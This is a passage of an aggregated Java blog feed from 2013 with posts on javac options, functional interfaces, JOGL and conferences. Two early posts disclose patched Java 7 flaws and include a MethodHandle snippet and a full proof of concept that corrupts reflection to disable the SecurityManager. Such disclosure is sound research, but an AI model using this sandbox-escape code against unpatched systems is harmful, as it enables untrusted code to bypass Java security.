      HotSpot in &lt;a href=&quot;http://www.oracle.com/technetwork/topics/security/javacpufeb2013-1841061.html&quot;&gt;Update
      13&lt;/a&gt;. The HotSpot patch can be seen &lt;a href=&quot;http://hg.openjdk.java.net/jdk7u/jdk7u/hotspot/rev/db7028c8a953&quot;&gt;here&lt;/a&gt;.
   &lt;/p&gt;
        &lt;p&gt;
      Again, while working on IKVM's dynamic binding, I found that it was still possible
      to do a non-virtual invocation of an overridden method by using a MethodHandle. This
      was fixed in Update 21.
   &lt;/p&gt;
        &lt;p&gt;
      Here's an example that uses &lt;a href=&quot;https://blogs.oracle.com/jrose/entry/a_modest_tool_for_writing&quot;&gt;Indify&lt;/a&gt; to
      generate the MethodHandle constants and manages to call Object.clone() on a Thread
      object on Update 13:
   &lt;/p&gt;
        &lt;code&gt;import java.lang.invoke.*;&lt;br /&gt;&lt;br /&gt;
   class test extends Thread implements Cloneable {&lt;br /&gt;
     public static void main(String[] args) throws Throwable {&lt;br /&gt;
       test obj = new test();&lt;br /&gt;
       System.out.println(obj == MH_1().invokeExact(obj));&lt;br /&gt;
     }&lt;br /&gt;&lt;br /&gt;
     private static MethodHandle MH_1() throws Throwable {&lt;br /&gt;
       return MethodHandles.lookup().findSpecial(Object.class, &quot;clone&quot;,
   MethodType.methodType(Object.class), test.class);&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;/code&gt;
        &lt;p&gt;
      You can compile and run this without Indify and it will show the problem (on versions
      before Update 21), but you need to run Indify to make it work with an active SecurityManager.
   &lt;/p&gt;
        &lt;p&gt;
      The difference between looking up method handles via the API versus using MethodHandle
      constants is analogous to the difference between normal bytecode method invocation
      and classic reflection. When going via the API the SecurityManager is involved, but
      the runtime linker does not call the SecurityManager. MethodHandle constants (when
      they are properly implemented) don't allow you to do anything that normal bytecode
      can't do. This is why the claim made by Security Explorations about &lt;a href=&quot;http://seclists.org/fulldisclosure/2013/Mar/167&quot;&gt;Issue
      54&lt;/a&gt; was incorrect.
   &lt;/p&gt;
        &lt;img height=&quot;0&quot; src=&quot;http://weblog.ikvm.net/aggbug.ashx?id=32db7dc2-ea2d-4113-86a1-164cd78f904f&quot; width=&quot;0&quot; /&gt;</description>
	<pubDate>Thu, 18 Apr 2013 06:55:58 +0000</pubDate>
</item>
<item>
	<title>Jeroen Frijters: Java 7 Update 21</title>
	<guid>http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</guid>
	<link>http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0</link>
	<description>&lt;p&gt;
      While I was working on rewriting IKVM's &lt;a href=&quot;http://weblog.ikvm.net/PermaLink.aspx?guid=467b6c9e-d9f6-4c6f-8de0-10c4f30ec5a9&quot;&gt;dynamic
      binding&lt;/a&gt; support based on method handles I &lt;a href=&quot;https://twitter.com/JeroenFrijters/status/308622196518047745&quot;&gt;stumbled&lt;/a&gt; into
      a rather serious bug in the Oracle Java implementation. It allowed any code to overwrite
      public final fields. This has been fixed in &lt;a href=&quot;http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html&quot;&gt;Update
      21&lt;/a&gt;.
   &lt;/p&gt;
        &lt;p&gt;
      Below is a proof of concept that disables the security manager. It works by changing &lt;a href=&quot;http://docs.oracle.com/javase/7/docs/api/java/lang/Double.html#TYPE&quot;&gt;Double.TYPE&lt;/a&gt; to &lt;a href=&quot;http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#TYPE&quot;&gt;Integer.TYPE&lt;/a&gt; and
      then using reflection to copy an integer field from one object to another, but because
      of the patched TYPE fields reflection thinks the integer field is a double and copies
      8 bytes instead of 4.
   &lt;/p&gt;
        &lt;code&gt;import java.lang.invoke.MethodHandle;&lt;br /&gt;
   import java.lang.reflect.Field;&lt;br /&gt;
   import static java.lang.invoke.MethodHandles.lookup;&lt;br /&gt;&lt;br /&gt;
   class Union1 {&lt;br /&gt;
     int field1;&lt;br /&gt;
     Object field2;&lt;br /&gt;
   }&lt;br /&gt;&lt;br /&gt;
   class Union2 {&lt;br /&gt;
     int field1;&lt;br /&gt;
     SystemClass field2;&lt;br /&gt;
   }&lt;br /&gt;&lt;br /&gt;
   class SystemClass {&lt;br /&gt;
     Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12,&lt;br /&gt;
       f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23,&lt;br /&gt;
       f24,f25,f26,f27,f28,f29,f30;&lt;br /&gt;
   }&lt;br /&gt;&lt;br /&gt;
   class PoC {&lt;br /&gt;
     public static void main(String[] args) throws Throwable {&lt;br /&gt;
       System.out.println(System.getSecurityManager());&lt;br /&gt;
       disableSecurityManager();&lt;br /&gt;
       System.out.println(System.getSecurityManager());&lt;br /&gt;
     }&lt;br /&gt;&lt;br /&gt;
     static void disableSecurityManager() throws Throwable {&lt;br /&gt;
       MethodHandle mh1, mh2;&lt;br /&gt;
       mh1 = lookup().findStaticSetter(Double.class, &quot;TYPE&quot;, Class.class);&lt;br /&gt;
       mh2 = lookup().findStaticSetter(Integer.class, &quot;TYPE&quot;, Class.class);&lt;br /&gt;
       Field fld1 = Union1.class.getDeclaredField(&quot;field1&quot;);&lt;br /&gt;
       Field fld2 = Union2.class.getDeclaredField(&quot;field1&quot;);&lt;br /&gt;
       Class classInt = int.class;&lt;br /&gt;
       Class classDouble = double.class;&lt;br /&gt;
       mh1.invokeExact(int.class);&lt;br /&gt;
       mh2.invokeExact((Class)null);&lt;br /&gt;
       Union1 u1 = new Union1();&lt;br /&gt;
       u1.field2 = System.class;&lt;br /&gt;
       Union2 u2 = new Union2();&lt;br /&gt;
       fld2.set(u2, fld1.get(u1));&lt;br /&gt;
       mh1.invokeExact(classDouble);&lt;br /&gt;
       mh2.invokeExact(classInt);&lt;br /&gt;
       if (u2.field2.f29 == System.getSecurityManager()) {&lt;br /&gt;
         u2.field2.f29 = null;&lt;br /&gt;
       } else if (u2.field2.f30 == System.getSecurityManager()) {&lt;br /&gt;
         u2.field2.f30 = null;&lt;br /&gt;
       } else {&lt;br /&gt;
         System.out.println(&quot;security manager field not found&quot;);&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   } &lt;/code&gt;
        &lt;img height=&quot;0&quot; src=&quot;http://weblog.ikvm.net/aggbug.ashx?id=acd2dd6d-1028-4996-95df-efa42ac237f0&quot; width=&quot;0&quot; /&gt;</description>
	<pubDate>Wed, 17 Apr 2013 06:00:08 +0000</pubDate>
</item>
<item>
	<title>Dalibor Topic: QotD: Mark Reinhold on OpenJDK Wiki</title>
	<guid>http://robilad.livejournal.com/133783.html</guid>
	<link>http://robilad.livejournal.com/133783.html</link>
	<description>&lt;blockquote&gt;The OpenJDK wiki is now available for use:&lt;br /&gt;&lt;br /&gt;    &lt;a href=&quot;http://wiki.openjdk.java.net&quot;&gt;http://wiki.openjdk.java.net&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Mark Reinhold in an &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/announce/2013-April/000151.html&quot;&gt;e-mail&lt;/a&gt; announcing a new wiki instance.</description>
	<pubDate>Tue, 16 Apr 2013 08:38:19 +0000</pubDate>
</item>
<item>
	<title>Joe Darcy: Changing Sources and Moving Targets: Evolving the javac command line</title>
	<guid>https://blogs.oracle.com/darcy/entry/changing_sources_moving_targets</guid>
	<link>https://blogs.oracle.com/darcy/entry/changing_sources_moving_targets</link>
	<description>&lt;p&gt;

As written up in 
&lt;a href=&quot;http://openjdk.java.net/jeps/182&quot;&gt;JEP 182: Policy for Retiring javac -source and -target Options&lt;/a&gt;, we're implementing a policy to over time clean up the &lt;code&gt;-source&lt;/code&gt; and &lt;code&gt;-target&lt;/code&gt; portions of &lt;code&gt;javac&lt;/code&gt;'s command line:

&lt;/p&gt;

&lt;ul&gt;

&lt;li&gt;Class files going all the way back to version 45.3 generated by JDK 1.0.2 will continue to be recognized by &lt;code&gt;javac&lt;/code&gt; when put on the classpath, etc.

&lt;/li&gt;&lt;li&gt;The never-documented &lt;code&gt;-target&lt;/code&gt; options &lt;code&gt;1.4.1&lt;/code&gt;, &lt;code&gt;1.4.2&lt;/code&gt;, and &lt;code&gt;jsr14&lt;/code&gt; have been &lt;a href=&quot;http://hg.openjdk.java.net/jdk8/jdk8/langtools/rev/a4913ea9bb62&quot;&gt;removed in JDK 8&lt;/a&gt; (&lt;a href=&quot;http://bugs.sun.com/view_bug.do?bug_id=8010179&quot; title=&quot;Remove transitional target values from javac&quot;&gt;8010179&lt;/a&gt;).

&lt;/li&gt;&lt;li&gt;In JDK 8, source and target options for 1.5 and below will be deprecated and a warning will be printed on their use (&lt;a href=&quot;http://bugs.sun.com/view_bug.do?bug_id=8011043&quot; title=&quot;Warn about use of 1.5 and earlier source and target options&quot;&gt;8011043&lt;/a&gt;).

&lt;/li&gt;&lt;li&gt;In JDK 9, source and target options for 1.5 and below will be &lt;em&gt;removed&lt;/em&gt; (&lt;a href=&quot;http://bugs.sun.com/view_bug.do?bug_id=8011044&quot; title=&quot;Remove support for 1.5 and earlier source and target options&quot;&gt;8011044&lt;/a&gt;).



&lt;/li&gt;&lt;li&gt;Starting in JDK 9, a &quot;one plus three back&quot; policy will apply to source and target options. JDK 9 will support (9/1.9, 8/1.8, 7/1.7, 6/1.6) and JDK 10 will support (10/1.10, 9/1.9, 8/1.8, 7/1.7) and so on.

&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;

Removing support for the old options will ease compiler maintenance in several ways. First, there will be direct benefits from allowing some code to be deleted. Nixing &lt;code&gt;jsr14&lt;/code&gt; allowed about 250 lines of code to be excised. Second, fewer interactions between new language features and old source levels need to be handled in the compiler. The &lt;a href=&quot;http://docs.oracle.com/javase/specs/&quot;&gt;Java Language Specification&lt;/a&gt; only deals with a single version of the language and there is no formal specification of many aspects of how a Java compiler is supposed to behave. To use a recent example, there is no specification for how a new-in-8 &lt;em&gt;default method&lt;/em&gt; being introduced to the language and core libraries by &lt;a href=&quot;http://openjdk.java.net/projects/lambda/&quot;&gt;Project Lambda&lt;/a&gt; should appear to code being compiled under, say, &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/lambda-dev/2013-February/008401.html&quot;&gt;&lt;code&gt;-source 6&lt;/code&gt;&lt;/a&gt;. Limiting the span of source and target version supported reduces the need to define such cross-version interactions. (The practical impact of source cross-version interfaces would be greatly reduced if developers more often follwed the recommended practice of &lt;a href=&quot;https://blogs.oracle.com/darcy/entry/how_to_cross_compile_for&quot; title=&quot; How to cross-compile for older platform versions &quot;&gt;setting the bootclasspath&lt;/a&gt; when cross-compiling to an older platform version.)

&lt;/p&gt;

&lt;p&gt;

This policy will help balance &lt;a href=&quot;http://cr.openjdk.java.net/~darcy/OpenJdkDevGuide/OpenJdkDevelopersGuide.v0.777.html#managing_compatibility&quot;&gt;stability versus progress&lt;/a&gt; and should cover releases &lt;a href=&quot;http://www.oracle.com/technetwork/java/eol-135779.html&quot;&gt;having public updates&lt;/a&gt; when a new JDK is released.

&lt;/p&gt;</description>
	<pubDate>Mon, 15 Apr 2013 05:49:16 +0000</pubDate>
</item>
<item>
	<title>Dalibor Topic: CFP Time: PPPJ</title>
	<guid>http://robilad.livejournal.com/133555.html</guid>
	<link>http://robilad.livejournal.com/133555.html</link>
	<description>The &lt;a href=&quot;http://pppj2013.dhbw.de/conference-pppj2013.html&quot;&gt;2013 International Conference on Principles and Practices of Programming on the Java platform: Virtual machines, languages and tools&lt;/a&gt; takes place in Stuttgart, Germany, just a few weeks ahead of &lt;a href=&quot;http://robilad.livejournal.com/133239.html&quot;&gt;JavaOne&lt;/a&gt;. They have already announced a couple of interesting &lt;a href=&quot;http://pppj2013.dhbw.de/conference-pppj2013/program/keynotes.html&quot;&gt;keynotes&lt;/a&gt; on Kotlin, &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/graal-dev/2013-March/000229.html&quot;&gt;Truffle&lt;/a&gt; and &lt;a href=&quot;http://openjdk.java.net/projects/lambda/&quot;&gt;Lambdas&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The Call for Papers can be found &lt;a href=&quot;http://pppj2013.dhbw.de/conference-pppj2013/call-for-papers.html&quot;&gt;here&lt;/a&gt;.</description>
	<pubDate>Fri, 05 Apr 2013 13:51:25 +0000</pubDate>
</item>
<item>
	<title>Mario Torre: Cheers, Mark!</title>
	<guid>http://www.jroller.com/neugens/entry/cheers_mark</guid>
	<link>http://www.jroller.com/neugens/entry/cheers_mark</link>
	<description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Really the last person I would have ever expected to see with a red hat. Cheers Mark!&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://www.flickr.com/photos/neugens/8609509384/&quot; title=&quot;DSC_0557 by neugens, on Flickr&quot;&gt;&lt;img src=&quot;http://farm9.staticflickr.com/8532/8609509384_bf2ca592c2.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</description>
	<pubDate>Mon, 01 Apr 2013 15:15:54 +0000</pubDate>
</item>
<item>
	<title>Jonathan Gibbons: jtreg to embrace Perl, PHP and Python</title>
	<guid>https://blogs.oracle.com/jjg/entry/jtreg_to_embrace_perl_php</guid>
	<link>https://blogs.oracle.com/jjg/entry/jtreg_to_embrace_perl_php</link>
	<description>&lt;p&gt;
Now that OpenJDK has an improved new build system, it is time
to re-examine our test infrastructure with a view to gaining
similar improvements for writing and running tests.

&lt;/p&gt;&lt;p&gt;
We have an ongoing problem with test reliability. Part of the issue
is that we write our tests in Java, which apparently, and regrettably,
has bugs in it. (Otherwise, why would we be testing it?) With
the recent progress in Java scripting technology over the past couple
of years, we should convert all our tests to use a scripting language.
Although, we currently specify the use of Bourne shell, there are
too many evolutionary variants of that, and so it is proposed we
instead use Perl for all our test code. Of course, there are different
versions of Perl, and so users will have to run a configure script
ahead of time to determine if they have enough versions of Perl
available on their system, and to recommend how to compile
additional versions if necessary.

&lt;/p&gt;&lt;p&gt;
From early days, JavaTest, jtharness and jtreg have embraced the web,
providing HTML reports, support for an HTTP server to be available
while tests are running, and servlets to display test results in full color,
eliminating the need for thousands of words. We should build on
those ideas and embrace web-based test execution and reporting
using a new PHP-based back-end for jtreg.

&lt;/p&gt;&lt;p&gt;
Finally, we should rewrite jtreg itself in Python. This will facilitate
easy integration into our work flow as a Mercurial extension.
Initially, this can be provided as &quot;hg test&quot; but the long term goal is to
integrate jtreg functionality into jcheck, so that all appropriate tests are run
automatically before any code can be pushed to a
jcheck-controlled forest.&lt;/p&gt;</description>
	<pubDate>Mon, 01 Apr 2013 07:01:00 +0000</pubDate>
</item>
<item>
	<title>Andrew Cowie: http-streams 0.4.0 released</title>
	<guid>http://blogs.operationaldynamics.com/andrew/?p=934</guid>
	<link>http://blogs.operationaldynamics.com/andrew/software/haskell/http-streams-0-4-0-release</link>
	<description>&lt;p&gt;Quick update to &lt;a class=&quot;package&quot; href=&quot;http://hackage.haskell.org/package/http-streams&quot;&gt;http-streams&lt;/a&gt;, making a requested API change to the signature of the &lt;code&gt;buildRequest&lt;/code&gt; function as well as pushing out some bug fixes and performance improvements.&lt;/p&gt;

&lt;p&gt;You no longer need to pass the Connection object when composing a Request, meaning you can prepare it before opening the connection to the target web server. The required HTTP 1.1 &lt;code&gt;Host:&lt;/code&gt; header is added when &lt;code&gt;sendRequest&lt;/code&gt; is called, when the request is written to the server. If you need to see the value of the &lt;code&gt;Host:&lt;/code&gt; field that will be sent (ie when debugging) you can call the &lt;code&gt;getHostname&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;I’ve added an “API Change Log” to the &lt;a class=&quot;repository&quot; href=&quot;https://github.com/afcowie/http-streams#readme&quot;&gt;README&lt;/a&gt; file on GitHub, and the blog post &lt;a href=&quot;http://blogs.operationaldynamics.com/andrew/software/haskell/http-streams-introduction&quot;&gt;introducing http-streams&lt;/a&gt; has been updated reflect the signature change.&lt;/p&gt;

&lt;p&gt;Thanks to Jeffrey Chu for his contributions and to Gregory Collins for his advice on performance improvement; this second release is about 9% faster than the original.&lt;/p&gt;

&lt;p&gt;AfC&lt;/p&gt;</description>
	<pubDate>Sat, 23 Mar 2013 14:22:54 +0000</pubDate>
</item>
<item>
	<title>Andrew Overholt: The Saga of the Horse Head (mask)</title>
	<guid>http://overholt.ca/wp/?p=391</guid>
	<link>http://overholt.ca/wp/?p=391</link>
	<description>&lt;p&gt;As &lt;a href=&quot;https://twitter.com/johnath&quot;&gt;johnath&lt;/a&gt; &lt;a href=&quot;http://blog.johnath.com/2013/03/08/horseplay/&quot;&gt;blogged&lt;/a&gt;, we’ve had a bit of a conversation going with the office across from us.  I wanted to add a few more photos and a video that I took.&lt;/p&gt;
&lt;div class=&quot;wp-caption aligncenter&quot; id=&quot;attachment_404&quot; style=&quot;width: 310px;&quot;&gt;&lt;a href=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/shot0010.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-medium wp-image-404&quot; height=&quot;168&quot; src=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/shot0010-300x168.png&quot; title=&quot;mconley arrives&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;mconley arrives with the package&lt;/p&gt;&lt;/div&gt;
&lt;div class=&quot;wp-caption aligncenter&quot; id=&quot;attachment_403&quot; style=&quot;width: 310px;&quot;&gt;&lt;a href=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/shot0013-e1362771682276.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-medium wp-image-403&quot; height=&quot;220&quot; src=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/shot0013-e1362772430619-300x220.png&quot; title=&quot;Label viewing&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;I believe at this point they are reading the label&lt;/p&gt;&lt;/div&gt;
&lt;div class=&quot;wp-caption aligncenter&quot; id=&quot;attachment_402&quot; style=&quot;width: 310px;&quot;&gt;&lt;a href=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/shot0019.png&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-medium wp-image-402&quot; height=&quot;168&quot; src=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/shot0019-300x168.png&quot; title=&quot;OMG!&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Is this what I think it is?  It is!&lt;/p&gt;&lt;/div&gt;
&lt;div class=&quot;wp-caption aligncenter&quot; id=&quot;attachment_401&quot; style=&quot;width: 310px;&quot;&gt;&lt;a href=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/IMG_20130307_120453-e1362772270257.jpg&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-medium wp-image-401&quot; height=&quot;132&quot; src=&quot;http://overholt.ca/wp/wp-content/uploads/2013/03/IMG_20130307_120453-e1362772270257-300x132.jpg&quot; title=&quot;Mask modelling&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Mask modelling&lt;/p&gt;&lt;/div&gt;
&lt;p&gt; (&lt;a href=&quot;http://www.youtube.com/watch?v=Eha5ZEfKs-0&quot;&gt;link to the video&lt;/a&gt; in case Planet doesn’t like the iframe)&lt;/p&gt;</description>
	<pubDate>Tue, 12 Mar 2013 19:55:21 +0000</pubDate>
</item>
<item>
	<title>Mario Torre: Happy Birthday :)</title>
	<guid>http://www.jroller.com/neugens/entry/happy_birthday3</guid>
	<link>http://www.jroller.com/neugens/entry/happy_birthday3</link>
	<description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Today marks one year at Red Hat for me (in fact, I started on 29th of February, so in reality my first year will be in 3 years from now, weird :)&lt;/p&gt;&lt;p&gt;It was a superb year, Red Hat confirms to be one of the best company one can desire to work with, it's challenging, interesting and fun.&lt;/p&gt;&lt;p&gt;And of course, I have the best possible team mates I can desire!&lt;/p&gt;&lt;p&gt;I'm waiting forward for another great year, new projects, new challenges. And all in the Open!&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</description>
	<pubDate>Fri, 01 Mar 2013 11:56:58 +0000</pubDate>
</item>
<item>
	<title>Joe Darcy: Functional Interfaces</title>
	<guid>https://blogs.oracle.com/darcy/entry/functional_interfaces</guid>
	<link>https://blogs.oracle.com/darcy/entry/functional_interfaces</link>
	<description>&lt;p&gt;

As part of &lt;a href=&quot;http://openjdk.java.net/projects/lambda/&quot;&gt;Project Lambda&lt;/a&gt;, after discussion with the &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/lambda-libs-spec-experts/2012-December/000846.html&quot;&gt;JSR 335 expert group&lt;/a&gt;, we decided to &lt;a href=&quot;http://bugs.sun.com/view_bug.do?bug_id=8005298&quot; title=&quot;Add FunctionalInterface type to the core libraries&quot;&gt;add a &lt;code&gt;FunctionalInterface&lt;/code&gt; annotation type&lt;/a&gt; to the platform.

To a first approximation, &lt;i&gt;functional interfaces&lt;/i&gt; are those interface types which define only a single method and are therefore usable in lambda expressions.

(There are some tricky details in the definition of a functional interface relating to generics and also some details about excluding from consideration methods defined on &lt;code&gt;java.lang.Object&lt;/code&gt;.)

The new annotation type allows a library designer to clearly indicate the property of intending an interface type to be used with lambda expressions along with an implied commitment to keep that property true in the future.

However, the compiler will allow any interface type meeting the structural properties of a functional interface to be used for a lambda expression regardless of whether or not the interface has a &lt;code&gt;@FunctionalInterface&lt;/code&gt; annotation.

&lt;/p&gt;

&lt;p&gt;

They types being added in the &lt;code&gt;java.util.function&lt;/code&gt; package are by design functional interfaces and can be annotated with &lt;code&gt;@FunctionalInterface&lt;/code&gt; from early days.

However, many existing Java SE types are also functional interfaces and we want to identify and annotate those appropriately too.

To find those candidate interfaces to be annotated, I ran an &lt;a href=&quot;https://blogs.oracle.com/darcy/resource/src/FunctionalFinder.java&quot;&gt;annotation processor&lt;/a&gt; over the code, using the same methodology as used to &lt;a href=&quot;https://blogs.oracle.com/darcy/entry/project_coin_bring_close&quot; title=&quot;Project Coin: Bringing it to a Close(able)&quot;&gt;find &lt;code&gt;Closeable&lt;/code&gt; candidates during JDK 7&lt;/a&gt;.

&lt;/p&gt;

&lt;p&gt;

A significant number of candidates were found throughout the JDK.

After suitable &lt;a href=&quot;http://mail.openjdk.java.net/pipermail/core-libs-dev/2013-January/013449.html&quot;&gt;discussion and review&lt;/a&gt;, the first batch of core libraries changes &lt;a href=&quot;http://hg.openjdk.java.net/jdk8/tl/jdk/rev/522fb3867a3a&quot;&gt;have been pushed&lt;/a&gt;.

Analogous discussions have been started in the

&lt;a href=&quot;http://mail.openjdk.java.net/pipermail/2d-dev/2013-February/003022.html&quot;&gt;2D&lt;/a&gt;,
&lt;a href=&quot;http://mail.openjdk.java.net/pipermail/awt-dev/2013-February/004213.html&quot;&gt;awt&lt;/a&gt;, and
&lt;a href=&quot;http://mail.openjdk.java.net/pipermail/swing-dev/2013-February/002535.html&quot;&gt;swing&lt;/a&gt; areas.

&lt;/p&gt;&lt;p&gt;

For guidance in retrofitting &lt;code&gt;@FunctionalInterface&lt;/code&gt; to an existing candidate type, if the type is routinely instantiated using an anonymous class, it is a good candidate for being annotated with &lt;code&gt;@FunctionalInterface&lt;/code&gt;.

&lt;/p&gt;</description>
	<pubDate>Thu, 21 Feb 2013 21:01:03 +0000</pubDate>
</item>
<item>
	<title>Xerxes Rånby: The JogAmp community now maintains JOGL and Java3D</title>
	<guid>http://labb.zafena.se/?p=656</guid>
	<link>http://labb.zafena.se/?p=656</link>
	<description>&lt;p&gt;&lt;strong&gt;2008&lt;/strong&gt;: Sun Microsystems invested heavily into using hardware acceleration on mobile devices using JOGL. This was the foundation to get JavaFX 1.3 running across devices. Video of James Gosling, Ken Russell and Sven Gothel on stage at JavaOne 2008 keynote &lt;a href=&quot;http://www.youtube.com/watch?v=DeupVAMnvFA&quot;&gt;http://www.youtube.com/watch?v=DeupVAMnvFA&lt;/a&gt;.&lt;br /&gt;
Ken Russel later wrote his last Sun blog-post that covers the technology demonstrated in this first OpenGL ES 2 JOGL demonstration: &lt;a href=&quot;https://blogs.oracle.com/kbr/entry/java_on_the_nvidia_apx&quot;&gt;https://blogs.oracle.com/kbr/entry/java_on_the_nvidia_apx&lt;/a&gt;.&lt;br /&gt;
Later during the same year Sven Gothel demonstrated hardware accelerated OpenMAX video decoding on the same Tegra 1 mobile device using the new re-architectured JOGL 2 with stellar mobile support: &lt;a href=&quot;http://www.youtube.com/watch?v=D6Lkw3eZK1w&quot;&gt;http://www.youtube.com/watch?v=D6Lkw3eZK1w&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2009&lt;/strong&gt;: The core members of the JOGL and Java3D team left Sun before Oracle took over and &lt;a href=&quot;http://jogamp.org/git/?p=jogl.git;a=commit;h=87eb12f5846ccef587c5945ced99b778bcd67ba6&quot;&gt;forked JOGL&lt;/a&gt;.&lt;br /&gt;
&lt;a href=&quot;http://jausoft.com/blog/2009/11/09/jogl-is-dead-long-live-jogl/&quot;&gt;http://jausoft.com/blog/2009/11/09/jogl-is-dead-long-live-jogl/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.java-gaming.org/index.php/topic,21516.0.html&quot;&gt;http://www.java-gaming.org/index.php/topic,21516.0.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2010&lt;/strong&gt;: The &lt;a href=&quot;https://jogamp.org&quot;&gt;JogAmp community was created&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2011&lt;/strong&gt;: &lt;a href=&quot;http://jausoft.com/blog/2011/09/22/oracle-gives-up-on-java3d-and-jogl-for-ria-webstart-and-applets/&quot;&gt;Oracle Gives up on Java3D (and JOGL) for RIA (Webstart and Applets)&lt;/a&gt;&lt;br /&gt;
The Oracle decision to remove all signed Java3D and JOGL builds from their servers, and hence break all existing online Java3D/JOGL applications using the SUN/Oracle builds, &lt;a href=&quot;http://www.java.net/forum/topic/javadesktop/java-desktop-technologies/java-3d/unsigned-entry-j3dcorejar#comment-818570&quot;&gt;this have only been mentioned by Oracle inside the java.net support forum&lt;/a&gt;.&lt;br /&gt;
Fortunately JOGL and Java3D was originally released under a BSD license so it was possible for the community to keep-on maintaining the bindings and provide &lt;a href=&quot;https://jogamp.org/deployment/jogamp-current/jogl-test-applets.html&quot;&gt;JogAmp signed builds&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2012&lt;/strong&gt;: Oracle work on flushing out its own use of JOGL in &lt;a href=&quot;http://javafx-jira.kenai.com/browse/RT-17404&quot;&gt;JavaFX by removing jogl-prism&lt;/a&gt;. Oracle no longer give programmers direct access to OpenGL using their APIs.&lt;br /&gt;
Oracle announced during JavaOne 2012 that Oracle would like to get help from the community to port JavaFX to new platforms under the OpenJFX project. Surely the community can help by &lt;a href=&quot;http://www.raspberrypi.org/phpBB3/viewtopic.php?p=240398#p240398&quot;&gt;re-implement jogl-prism and adding raw JOGL support into OpenJFX to ease future OpenJFX porting efforts&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;wp-caption alignright&quot; style=&quot;width: 330px;&quot;&gt;&lt;a href=&quot;https://twitter.com/i/#!/xranby/media/slideshow?url=pic.twitter.com%2F1RDZ0S3c&quot;&gt;&lt;img alt=&quot;&quot; height=&quot;240&quot; src=&quot;https://pbs.twimg.com/media/A6s5VckCMAEcdFr.jpg:large&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;
&lt;p class=&quot;wp-caption-text&quot;&gt;&lt;a href=&quot;http://twitter.com/xranby&quot;&gt;Xerxes Rånby&lt;/a&gt; demonstrates &lt;a href=&quot;http://jogamp.org&quot;&gt;JogAmp Java JOGL OpenGL ES&lt;/a&gt; bindings, &lt;a href=&quot;http://connect.linaro.org/events/lce-12-copenhagen-demo-friday/&quot;&gt;at Linaro Connect LCE12 demo friday&lt;/a&gt;, across devices.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;JOGL v2 is actively maintained by the JogAmp community.&lt;/h2&gt;
&lt;p&gt;JOGL v2 now runs on the latest GPU cores and work on top of any JVM. JOGL v2 contains its own platform independent &lt;a href=&quot;https://jogamp.org/jogl/doc/NEWT-Overview.html&quot;&gt;NEWT windowing toolkit&lt;/a&gt;. NEWT applications targeting the &lt;a href=&quot;https://jogamp.org/jogl/doc/Overview-OpenGL-Evolution-And-JOGL.html&quot;&gt;GL2ES2 or GL2ES1 profile&lt;/a&gt;, both using a common subset of OpenGL and ES calls, can be deployed across different platforms and devices from desktop to mobile without code change.&lt;br /&gt;
&lt;a href=&quot;http://jogamp.org&quot;&gt;http://jogamp.org&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://jogamp.org/doc&quot;&gt;http://jogamp.org/doc&lt;/a&gt; – Documentation, slides, and videorecording from the latest live JogAmp demonstrations&lt;/p&gt;
&lt;h2&gt;Java3D is now also maintained by some members of the JogAmp community.&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://forum.jogamp.org/java3d-f3728156.html&quot;&gt;http://forum.jogamp.org/java3d-f3728156.html&lt;/a&gt;&lt;br /&gt;
hharrison now maintain &lt;a href=&quot;https://github.com/hharrison/java3d-core&quot;&gt;Java3D on github&lt;/a&gt;&lt;br /&gt;
